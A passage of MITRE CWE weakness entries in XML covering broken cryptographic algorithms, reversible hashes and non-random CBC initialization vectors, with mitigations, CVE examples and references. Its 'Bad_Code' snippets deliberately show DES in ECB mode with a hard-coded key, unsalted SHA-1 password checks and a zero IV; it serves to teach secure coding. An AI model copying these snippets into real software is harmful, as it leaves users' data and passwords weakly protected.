						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Cipher des=Cipher.getInstance("DES...");</Code>
							              <Code>des.initEncrypt(key2);</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> function encryptPassword($password){</Code>
							              <Block>
								                <Code> $iv_size = mcrypt_get_iv_size(MCRYPT_DES,
									MCRYPT_MODE_ECB);</Code>
								                <Code> $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);</Code>
								                <Code> $key = "This is a password encryption key";</Code>
								                <Code> $encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key,
									$password, MCRYPT_MODE_ECB, $iv);</Code>
								                <Code> return $encryptedPassword;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3775</Observed_Example_Reference>
					          <Observed_Example_Description>Product uses "ROT-25" to obfuscate the password in
						the registry.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4150</Observed_Example_Reference>
					          <Observed_Example_Description>product only uses "XOR" to obfuscate sensitive
						data</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5460</Observed_Example_Reference>
					          <Observed_Example_Description>product only uses "XOR" and a fixed key to
						obfuscate sensitive data</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-4860</Observed_Example_Reference>
					          <Observed_Example_Description>Product substitutes characters with other
						characters in a fixed way, and also leaves certain input characters
						unchanged.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2058</Observed_Example_Reference>
					          <Observed_Example_Description>Attackers can infer private IP addresses by
						dividing each octet by the MD5 hash of '20'.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3188</Observed_Example_Reference>
					          <Observed_Example_Description>Product uses DES when MD5 has been specified in
						the configuration, resulting in weaker-than-expected password
						hashes.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2946</Observed_Example_Reference>
					          <Observed_Example_Description>Default configuration of product uses MD5 instead
						of stronger algorithms that are available, simplifying forgery of
						certificates.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-6013</Observed_Example_Reference>
					          <Observed_Example_Description>Product uses the hash of a hash for
						authentication, allowing attackers to gain privileges if they can obtain the
						original hash.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-6" Local_Reference_ID="R.327.1">
					          <Reference_Author>Bruce Schneier</Reference_Author>
					          <Reference_Title>Applied Cryptography</Reference_Title>
					          <Reference_Publisher>John Wiley &amp; Sons</Reference_Publisher>
					          <Reference_PubDate>1996</Reference_PubDate>
					          <Reference_Link>http://www.schneier.com/book-applied.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.327.2">
					          <Reference_Author>Alfred J. Menezes</Reference_Author>
					          <Reference_Author>Paul C. van Oorschot</Reference_Author>
					          <Reference_Author>Scott A. Vanstone</Reference_Author>
					          <Reference_Title>Handbook of Applied Cryptography</Reference_Title>
					          <Reference_PubDate>October 1996</Reference_PubDate>
					          <Reference_Link>http://www.cacr.math.uwaterloo.ca/hac/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-10" Local_Reference_ID="R.327.3">
					          <Reference_Author>C Matthew Curtin</Reference_Author>
					          <Reference_Title>Avoiding bogus encryption products: Snake Oil
						FAQ</Reference_Title>
					          <Reference_Date>1998-04-10</Reference_Date>
					          <Reference_Link>http://www.faqs.org/faqs/cryptography-faq/snake-oil/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-1" Local_Reference_ID="R.327.4">
					          <Reference_Author>Information Technology Laboratory, National Institute of
						Standards and Technology</Reference_Author>
					          <Reference_Title>SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC
						MODULES</Reference_Title>
					          <Reference_Date>2001-05-25</Reference_Date>
					          <Reference_Link>http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.327.5">
					          <Reference_Author>Paul F. Roberts</Reference_Author>
					          <Reference_Title>Microsoft Scraps Old Encryption in New Code</Reference_Title>
					          <Reference_Date>2005-09-15</Reference_Date>
					          <Reference_Link>http://www.eweek.com/c/a/Security/Microsoft-Scraps-Old-Encryption-in-New-Code/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.327.6">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 8, "Cryptographic Foibles" Page
						259</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.327.7">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 21: Using the Wrong Cryptography." Page
						315</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.327.8">
					          <Reference_Author>Johannes Ullrich</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 24 - Use of a Broken or Risky
						Cryptographic Algorithm</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-25</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/25/top-25-series-rank-24-use-of-a-broken-or-risky-cryptographic-algorithm/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.327.9">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Insufficient or Obsolete Encryption", Page
						44.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Using a broken or risky cryptographic
						algorithm</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Storage</Mapped_Node_Name>
					          <Mapped_Node_ID>A8</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Generate strong random numbers</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not use the rand() function for generating pseudorandom
						numbers</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC30-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure your random number generator is properly
						seeded</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>20</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>459</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>97</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Background_Details, Common_Consequences,
						Description, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Observed_Examples, Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Potential_Mitigations,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Detection_Factors,
						Potential_Mitigations, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Related_Attack_Patterns,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Using a Broken or Risky
						Cryptographic Algorithm</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="328" Name="Reversible One-Way Hash" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product uses a hashing algorithm that produces a hash value
					that can be used to determine the original input, or to find an input that can
					produce the same hash, more efficiently than brute force
					techniques.</Description_Summary>
				        <Extended_Description>
					          <Text>This weakness is especially dangerous when the hash is used in security
						algorithms that require the one-way property to hold. For example, if an
						authentication system takes an incoming password and generates a hash, then
						compares the hash to another hash that it has stored in its authentication
						database, then the ability to create a collision could allow an attacker to
						provide an alternate password that produces the same target hash, bypassing
						authentication.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>326</Relationship_Target_ID>
					          <!--Inadequate Encryption Strength-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>327</Relationship_Target_ID>
					          <!--Use of a Broken or Risky Cryptographic Algorithm-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>310</Relationship_Target_ID>
					          <!--Cryptographic Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>903</Relationship_Target_ID>
					          <!--SFP Cluster: Cryptography-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-51">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text> Use a cryptographic hash function that can be configured to change
							the amount of computational effort needed to compute the hash, such as
							the number of iterations ("stretching") or the amount of memory
							required. Some hash functions perform salting automatically. These
							functions can significantly increase the overhead for a brute force
							attack, far more than standards such as MD5, which are intentionally
							designed to be fast. For example, rainbow table attacks can become
							infeasible due to the high computing overhead. Finally, since computing
							power gets faster and cheaper over time, the technique can be
							reconfigured to increase the workload without forcing an entire
							replacement of the algorithm in use. </Text>
						            <Text> Some hash functions that have one or more of these desired properties
							include bcrypt, scrypt, and PBKDF2. While there is active debate about
							which of these is the most effective, they are all stronger than using
							salts with hash functions with very little computing overhead.</Text>
						            <Text>Note that using these functions can have an impact on performance, so
							they require special consideration to avoid denial-of-service attacks.
							However, their configurability provides finer control over how much CPU
							and memory is used, so it could be adjusted to suit the environment's
							needs.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>High</Mitigation_Effectiveness>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a hash algorithm that is currently considered to be strong by
							experts in the field. MD-4 and MD-5 have known weaknesses. SHA-1 has
							also been broken.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-101">
					          <Intro_Text>In both of these examples, a user is logged in if their given
						password matches a stored password:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>unsigned char *check_passwd(char *plaintext) {</Code>
							              <Block>
								                <Code>ctext = simple_digest("sha1",plaintext,strlen(plaintext), ...
									);</Code>
								                <Comment>//Login if hash matches stored hash</Comment>
								                <Code>if (equal(ctext, secret_password())) {</Code>
								                <Block>
									                  <Code>login_user();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String plainText = new String(plainTextIn);</Code>
							              <Code> MessageDigest encer = MessageDigest.getInstance("SHA");</Code>
							              <Code> encer.update(plainTextIn);</Code>
							              <Code>byte[] digest = password.digest();</Code>
							              <Comment>//Login if hash matches stored hash</Comment>
							              <Code>if (equal(digest,secret_password())) {</Code>
							              <Block>
								                <Code>login_user();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This code uses the SHA-1 hash on user passwords, but the SHA-1
							algorithm is no longer considered secure. Note this code also exhibits
							CWE-759 (Use of a One-Way Hash without a Salt).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4068</Observed_Example_Reference>
					          <Observed_Example_Description>Hard-coded hashed values for username and password
						contained in client-side script, allowing brute-force offline
						attacks.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Alexander Sotirov et al.</Reference_Author>
					          <Reference_Title>MD5 considered harmful today</Reference_Title>
					          <Reference_Link>http://www.phreedom.org/research/rogue-ca/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Common Vulnerabilities of Integrity", Page
						47.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference>
					          <Reference_Author>B. Kaliski</Reference_Author>
					          <Reference_Title>RFC2898 - PKCS #5: Password-Based Cryptography Specification
						Version 2.0</Reference_Title>
					          <Reference_PubDate>2000</Reference_PubDate>
					          <Reference_Link>http://tools.ietf.org/html/rfc2898</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Coda Hale</Reference_Author>
					          <Reference_Title>How To Safely Store A Password</Reference_Title>
					          <Reference_Date>2010-01-31</Reference_Date>
					          <Reference_Link>http://codahale.com/how-to-safely-store-a-password/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Colin Percival</Reference_Author>
					          <Reference_Title>Tarsnap - The scrypt key derivation function and encryption
						utility</Reference_Title>
					          <Reference_Link>http://www.tarsnap.com/scrypt.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Brian Krebs</Reference_Author>
					          <Reference_Title>How Companies Can Beef Up Password Security (interview with
						Thomas H. Ptacek)</Reference_Title>
					          <Reference_Date>2012-06-11</Reference_Date>
					          <Reference_Link>http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Solar Designer</Reference_Author>
					          <Reference_Title>Password security: past, present, future</Reference_Title>
					          <Reference_PubDate>2012</Reference_PubDate>
					          <Reference_Link>http://www.openwall.com/presentations/PHDays2012-Password-Security/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Troy Hunt</Reference_Author>
					          <Reference_Title>Our password hashing has no clothes</Reference_Title>
					          <Reference_Date>2012-06-26</Reference_Date>
					          <Reference_Link>http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Joshbw</Reference_Author>
					          <Reference_Title>Should we really use bcrypt/scrypt?</Reference_Title>
					          <Reference_Date>2012-06-08</Reference_Date>
					          <Reference_Link>http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Reversible One-Way Hash</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>461</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>68</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Description, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="329" Name="Not Using a Random IV with CBC Mode" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Not using a random initialization Vector (IV) with Cipher Block
					Chaining (CBC) Mode causes algorithms to be susceptible to dictionary
					attacks.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>310</Relationship_Target_ID>
					          <!--Cryptographic Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>330</Relationship_Target_ID>
					          <!--Use of Insufficiently Random Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>903</Relationship_Target_ID>
					          <!--SFP Cluster: Cryptography-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>CBC is the most commonly used mode of operation for a block cipher. It
						solves electronic code book's dictionary problems by XORing the ciphertext
						with plaintext. If it used to encrypt multiple data streams, dictionary
						attacks are possible, provided that the streams have a common beginning
						sequence.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the CBC is not properly initialized, data that is encrypted can be
							compromised and therefore be read.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the CBC is not properly initialized, encrypted data could be
							tampered with in transfer.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Cryptographic based authentication systems could be defeated.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>

					          <Mitigation_Description>
						            <Text>It is important to properly initialize CBC operating block
							ciphers or their utility is lost.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following examples, CBC mode is used when encrypting
						data:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>EVP_CIPHER_CTX ctx;</Code>
							              <Code>char key[EVP_MAX_KEY_LENGTH];</Code>
							              <Code>char iv[EVP_MAX_IV_LENGTH];</Code>
							              <Code>RAND_bytes(key, b);</Code>
							              <Code>memset(iv,0,EVP_MAX_IV_LENGTH);</Code>
							              <Code>EVP_EncryptInit(&amp;ctx,EVP_bf_cbc(), key,iv);</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class SymmetricCipherTest {</Code>
							              <Block>
